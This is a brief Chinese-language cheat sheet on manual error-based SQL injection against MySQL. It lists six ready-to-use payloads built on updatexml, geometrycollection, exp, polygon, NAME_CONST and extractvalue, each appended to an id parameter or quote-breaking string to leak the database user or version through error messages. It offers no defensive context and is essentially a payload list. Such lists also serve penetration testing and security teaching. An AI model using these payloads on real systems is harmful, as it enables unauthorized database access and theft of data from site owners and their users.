SQL手工注入——报错注入的几个函数

1.通过updatexml

 

id=2 and 1=(updatexml(1,concat(0x3a,(select user() ) ),1))

 

2.通过geometrycollection语句

 

id=2 and geometrycollection((select * from(select * from (select user())a)b))

 

3.通过exp语句

 

id=2 and exp(~(select * from (select user() ) a));

 

4.通过polygon语句

 

id=2 and polygon((select * from (select * from (select user())a)b));

 

5.通过NAME_CONST报错：

 

and exists(select * from (select * from(select name_const(version(),0)a join (select name_const(version(),0))b)c);

 

6.通过extractvalue报错：

 

'or extractvalue (1, concat(0x5c,(select user()))) or'